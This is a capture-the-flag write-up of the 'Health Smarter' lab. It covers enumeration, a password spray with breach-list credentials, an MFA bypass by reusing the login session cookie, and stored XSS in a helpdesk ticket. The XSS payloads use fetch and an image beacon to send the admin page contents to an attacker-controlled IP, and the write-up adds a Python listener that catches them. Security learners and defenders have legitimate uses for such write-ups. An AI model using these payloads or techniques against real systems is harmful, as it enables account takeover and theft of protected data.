Skip to content
BIG$HA crestBIG$HA
All writeups

HackSmarter

Health Smarter

Target Information

Property Value
Target 10.0.24.105
Hostname healthsmarter.hsm (from breach data; no DNS resolution)
Platform Linux (OpenSSH 9.6p1 Ubuntu) — Node.js / Express web portal

Enumeration

Port Scan

nmap -Pn -A -oX portscan.txt 10.0.24.105
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.16 (Ubuntu Linux; protocol 2.0)
80/tcp open  http    Node.js Express framework
|_http-title: Enterprise Portal Login | Health Smarter
|_http-title: Requested resource was /login.html

Only SSH and an Express-based web application were exposed. The web app redirected unauthenticated requests to /login.html, so enumeration continued against port 80.

Directory Enumeration

gobuster dir -u "http://10.0.24.105/" -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 50 -x php,txt,html,bak,zip,sh
/login.html           (Status: 200) [Size: 3663]
/admin.html           (Status: 403) [Size: 23]
/css                  (Status: 301) [Size: 153] [--> /css/]
/dashboard.html       (Status: 302) [Size: 33] [--> /login.html]

/admin.html returned 403 directly, and /dashboard.html redirected unauthenticated requests back to /login.html. Both endpoints existed but required a valid session. The site presented a “Staff & Patient Portal” login form.

Credential Discovery

The challenge brief noted that breached credentials for the target had been identified on DeHashed. Searching for material tied to the healthsmarter.hsm domain yielded a list of candidate usernames and a matching password list (300 of each).

d.harris@healthsmarter.hsm
nancy.adams@healthsmarter.hsm
l.white@healthsmarter.hsm
susan.roberts@healthsmarter.hsm
...
m.thompson@healthsmarter.hsm
Portal#495
Smarter%808
417Smarter*
...
Care4All!
...
380System#

Password Spray Against /api/login

Captured the login request in Caido and used it as the base template for an automated attack, then ran the recovered password list against the username m.thompson@healthsmarter.hsm.

POST /api/login HTTP/1.1
Host: 10.0.24.105
Content-Type: application/json
Origin: http://10.0.24.105
Referer: http://10.0.24.105/login.html

{"username":"test@test.com","password":"teat123!"}

One row stood out from the uniform 401 / length-294 responses: request 90111 returned 200 with a distinct length of 413 for the password Care4All!.

Replaying that single pair confirmed the credential — but the login response redirected to /mfa.html rather than issuing full dashboard access.

POST /api/login HTTP/1.1
Host: 10.0.24.105
Content-Type: application/json
Origin: http://10.0.24.105
Referer: http://10.0.24.105/login.html

{"username":"m.thompson@healthsmarter.hsm","password":"Care4All!"}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Set-Cookie: connect.sid=s%3AXssaNFNagpQ0s0VRrdwaaZe_Hb1L3XoP.o9HgPUOEsv5JkLdaZe5j%2Bqpx48%2FkysQTXrWVpsTVcLA; Path=/; HttpOnly

{
    "success": true,
    "redirect": "/mfa.html"
}

Recovered a valid credential pair:

m.thompson@healthsmarter.hsm:Care4All!

Initial Access

MFA Enforcement Check

First confirmed the login flow in the browser and that invalid credentials were rejected server-side.

{
  "password": "test",
  "username": "test"
}

The invalid attempt returned 401 from /api/login, confirming server-side credential validation was in place — the Care4All! success was therefore a genuine authentication, not a client-side artifact.

The /mfa.html prompt required a 6-digit authenticator code that refreshed every 30 seconds (standard TOTP behavior), so brute-forcing the code was not practical.

The key observation: the login response for m.thompson already set connect.sid and returned "success": true before any MFA code was submitted — the /mfa.html redirect was only a value in the JSON body, not a separate session state. Since the cookie was already a fully authenticated session at that point, I requested /dashboard.html directly with that same cookie instead of following the client-side redirect to /mfa.html.

GET /dashboard.html HTTP/1.1
Host: 10.0.24.105
Cookie: connect.sid=s%3Agih-VPOWJ5KhicKJWTzX8DMXhBB4Fgee.WqA7n2Tujo%2FonV9HJSabHh5X0NeX7c0OHGPHHjKgQcs

The server returned the full Patient Portal Dashboard with no MFA challenge, revealing Flag 1.

FLAG 1 (MFA IS HARD):
HSM{e78322f22ccb4eb8b4277e8491e00982}

To confirm the cookie itself was never upgraded by completing MFA, I requested /mfa.html directly with the same unmodified cookie — the server still rendered the “Verify Identity” prompt for that session.

GET /mfa.html HTTP/1.1
Host: 10.0.24.105
Cookie: connect.sid=s%3Agih-VPOWJ5KhicKJWTzX8DMXhBB4Fgee.WqA7n2Tujo%2FonV9HJSabHh5X0NeX7c0OHGPHHjKgQcs

The MFA step was never completed, yet the session was already fully privileged from the moment of login. /dashboard.html never checked for an MFA-verified flag on the session, so simply holding the connect.sid issued at login was enough to reach it directly.

Post-Foothold Enumeration

Landed on the Patient Portal Dashboard as Marcus Thompson (Patient), exposing a medical record summary and a “Helpdesk Support” ticket form addressed to admin staff.

Submitted a benign test ticket to observe the submission endpoint.

POST /api/tickets HTTP/1.1
Host: 10.0.24.105
Content-Type: application/json
Referer: http://10.0.24.105/dashboard.html
Cookie: connect.sid=s%3Agih-VPOWJ5KhicKJWTzX8DMXhBB4Fgee.WqA7n2Tujo%2FonV9HJSabHh5X0NeX7c0OHGPHHjKgQcs

{
  "subject":"stomach ach ",
  "message":"need Dr.Elizabeth Kennedy to call me back"
}
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8

{
    "success": true,
    "message": "Support ticket submitted successfully. A representative will review it shortly."
}

Tickets submitted as the patient account are queued for review by admin staff on /admin.html — the endpoint gobuster had flagged as 403 for unauthenticated requests, and the natural next target given the site required an Admin role to view it.

Privilege Escalation

Stored XSS in Ticket Submission

The helpdesk ticket “Support Message” is written by a low-privileged patient but rendered on the admin-only ticket feed. I tested whether the message field was sanitized before being displayed to the admin.

Set up a Python HTTP listener to catch any outbound beacon, then submitted an onerror-based image payload in the Support Message field to confirm the injection would execute in the admin’s browser and leak the current page URL.

#!/usr/bin/env python3
from http.server import BaseHTTPRequestHandler, HTTPServer
from urllib.parse import urlparse, parse_qs

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        parsed = urlparse(self.path)
        params = parse_qs(parsed.query)
        print("=" * 60)
        print(f"Client : {self.client_address[0]}")
        print(f"Path   : {parsed.path}")
        if params:
            print("Parameters:")
            for key, values in params.items():
                for value in values:
                    print(f"  {key} = {value}")
        self.send_response(200)
        self.send_header("Content-Type", "text/plain")
        self.end_headers()
        self.wfile.write(b"OK")

    def log_message(self, format, *args):
        pass

if __name__ == "__main__":
    print("[*] Listening on http://0.0.0.0:8000")
    HTTPServer(("0.0.0.0", 8000), Handler).serve_forever()
<img src=x onerror="this.onerror=null;new Image().src='http://10.200.74.221:8000/xss?url='+encodeURIComponent(location.href)">

The listener received hits from the target, confirming the payload fired inside the admin’s session and that the admin was viewing /admin.html.

python3 server.py
[*] Listening on http://0.0.0.0:8000
============================================================
Client : 10.0.24.105
Path   : /xss
Parameters:
  url = http://localhost/admin.html
============================================================
Client : 10.0.24.105
Path   : /xss
Parameters:
  url = http://localhost/admin.html

The onerror beacon only leaked location.href — the URL, not the protected content behind it.

Upgrading to Full Page Exfiltration

Replaced the image beacon with a <script> payload that performed an authenticated same-origin fetch() of /admin.html from within the admin’s own browser context and shipped the response body back to the listener.

<script>
fetch("/admin.html")
  .then(r => r.text())
  .then(t => {
    new Image().src = "http://10.200.74.221:8000/?p=" + encodeURIComponent(t);
  });
</script>

This worked because admin.html’s own client-side script explicitly re-executes any <script> tags found inside rendered ticket content:

const scripts = card.querySelectorAll('script');
scripts.forEach(oldScript => {
    const newScript = document.createElement('script');
    Array.from(oldScript.attributes).forEach(attr => newScript.setAttribute(attr.name, attr.value));
    newScript.appendChild(document.createTextNode(oldScript.innerHTML));
    oldScript.parentNode.replaceChild(newScript, oldScript);
});

and because ticket.message was interpolated into the DOM without the page’s own escapeHtml() helper, unlike every other ticket field:

card.innerHTML = `
    <div class="ticket-meta">
        <span>From: <strong>${escapeHtml(ticket.name)}</strong> (${escapeHtml(ticket.username)})</span>
        <span>${escapeHtml(ticket.createdAt)}</span>
    </div>
    <div class="ticket-subject">Subject: ${escapeHtml(ticket.subject)}</div>
    <div class="ticket-message">${ticket.message}</div>
`;

Submitted the payload as a new support ticket and monitored the listener. The final request delivered the full HTML source of admin.html via the p parameter — capturing Flag 2 directly from the admin session, without ever authenticating as an admin.

Path   : /
Parameters:
  p = <!DOCTYPE html>
      <html lang="en">
      ...
      <span>FLAG 2 (XSS & Admin Exfiltration):</span>
      HSM{35dca15a0eb94bd781f82ff45f070bff}
      ...
      </html>
FLAG 2 (XSS & Admin Exfiltration):
HSM{35dca15a0eb94bd781f82ff45f070bff}

Attack Path Summary

Nmap: SSH (22) + Node.js/Express web app (80), redirect to /login.html
→ Gobuster: /login.html, /admin.html (403), /dashboard.html (302 → /login.html)
→ DeHashed breach search: 300 usernames + 300 passwords for healthsmarter.hsm
→ Caido password spray against /api/login for m.thompson@healthsmarter.hsm
→ Recovered valid credential: m.thompson@healthsmarter.hsm:Care4All!
→ Login set connect.sid + success:true before MFA (redirect to /mfa.html was client-side only)
→ Reused that connect.sid to request /dashboard.html directly, skipping MFA
→ MFA was never enforced server-side → Flag 1 from the Patient Portal Dashboard
→ Submitted benign helpdesk ticket, confirmed /api/tickets is reviewed via /admin.html
→ Injected onerror image beacon in Support Message → fired in admin's session (unsanitized field)
→ Upgraded to <script>fetch("/admin.html")...</script> to exfiltrate full page content
→ admin.html re-executes <script> tags in tickets and never escapes ticket.message
→ Flag 2 captured from exfiltrated admin.html source (Stored XSS → Admin Session Exfiltration)

Credentials Found

Principal Credential Source
m.thompson@healthsmarter.hsm Care4All! DeHashed breach lists / Caido password spray against /api/login

Tools Used

  • Nmap
  • Gobuster
  • DeHashed
  • Caido
  • Firefox Developer Tools
  • Python3 http.server (custom XSS callback listener)